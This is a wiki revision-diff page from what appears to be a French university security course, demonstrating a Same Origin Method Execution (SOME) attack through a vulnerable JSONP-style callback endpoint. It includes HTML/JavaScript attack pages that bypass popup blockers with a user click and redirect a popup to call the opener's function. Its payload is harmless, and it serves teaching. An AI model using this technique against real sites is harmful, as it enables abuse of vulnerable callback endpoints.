User Tools

Site Tools


secres:some

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
secres:some [2017/11/23 10:58] orelsecres:some [2024/03/18 15:06] (current) – external edit 127.0.0.1
Line 7: Line 7:
 //La démonstration suivante a été mise en oeuvre avec le navigateur Google Chrome.// //La démonstration suivante a été mise en oeuvre avec le navigateur Google Chrome.//
  
-Soit le site web "victime"  http://www.labri.fr/perso/esnard/index.html, qui possède un callback endpoint vulnérable (typiquement du JSONP ou du Flash). Ici le endpoint vulnérable est juste un programme callback.php (http://www.labri.fr/perso/esnard/php/callback.php), qui prend deux arguments : une fonction de //callback// et un argument (//arg//) à passer à la fonction //callback//. Par exemple :+Considérons le site web du domaine //labri.fr// et en particulier la page http://www.labri.fr/perso/esnard/php/attackme.html...  
 + 
 +<code html attackme.html> 
 +<html> 
 +  <script> 
 +    function hello() { 
 +      document.write("hello world!"); 
 +    } 
 +    function hack() { 
 +      document.write("you hack me!"); 
 +    } 
 +    hello(); 
 +    </script> 
 +</html> 
 +</code> 
 + 
 + 
 + 
 +Par ailleursle site possède un callback endpoint vulnérable (typiquement du JSONP ou du Flash). Ici le endpoint vulnérable est juste un programme callback.php (http://www.labri.fr/perso/esnard/php/callback.php), qui prend deux arguments : une fonction de //callback// et un argument (//arg//) à passer à la fonction //callback//. Par exemple :
  
   * http://www.labri.fr/perso/esnard/php/callback.php?callback=window.alert&arg=coucou%20terre   * http://www.labri.fr/perso/esnard/php/callback.php?callback=window.alert&arg=coucou%20terre
Line 21: Line 39:
 </code> </code>
  
-Imaginons que la victime souhaitant visiter la page http://www.labri.fr/perso/esnard y accède en cliquant sur un lien frauduleux http://aurelien.esnard.emi.u-bordeaux.fr/demo/some-attack/attack-click.html, qui le redirige automatiquement vers le site souhaité... +Imaginons que la victime souhaitant visiter la page http://www.labri.fr/perso/esnard/php/attackme.html y accède en cliquant sur un lien frauduleux http://aurelien.esnard.emi.u-bordeaux.fr/demo/some-attack/attack-click.html, qui le redirige automatiquement vers le site souhaité... 
  
 Par exemple : [[http://aurelien.esnard.emi.u-bordeaux.fr/demo/some-attack/attack-click.html | Page Perso de A. Esnard]] Par exemple : [[http://aurelien.esnard.emi.u-bordeaux.fr/demo/some-attack/attack-click.html | Page Perso de A. Esnard]]
  
-Afin de contourner les popups blocker (celui interne à Google Chrome et/ou les plugins comme AdBlock), ils existent de multiples techniques. La plus simple consiste à ouvrir le popup après un //click// utilisateur... +Afin de contourner les popups blocker (celui interne à Google Chrome et/ou les plugins comme AdBlock), ils existent de multiples techniques. La plus simple (même si ce n'est pas discret) consiste à ouvrir le popup après un //click// utilisateur... 
  
 <code html attack-click.html> <code html attack-click.html>
Line 34: Line 52:
       function redirect() {       function redirect() {
       window.open("/demo/some-attack/win1.html");       window.open("/demo/some-attack/win1.html");
-      window.location.replace("http://www.labri.fr/perso/esnard/index.html");+      window.location.replace("http://www.labri.fr/perso/esnard/php/attackme.html");
       }       }
     </script>     </script>
Line 43: Line 61:
  
  
-(...)+<code html win1.html> 
 +<html> 
 +  <body> 
 +    <h1> Win 1</h1>     
 +    <p>Redirect to Vulnerable callback page in 3sec!</p> 
 +    <script> 
 +      function waitForDOM() { 
 +        window.location.replace("http://www.labri.fr/perso/esnard/php/callback.php?callback=opener.hack); 
 +      } 
 +      setTimeout(waitForDOM,3000)
 +    </script>     
 +  </body> 
 + 
 +</html> 
 +</code>
  
  
secres/some.1511434715.txt.gz · Last modified: 2024/03/18 15:05 (external edit)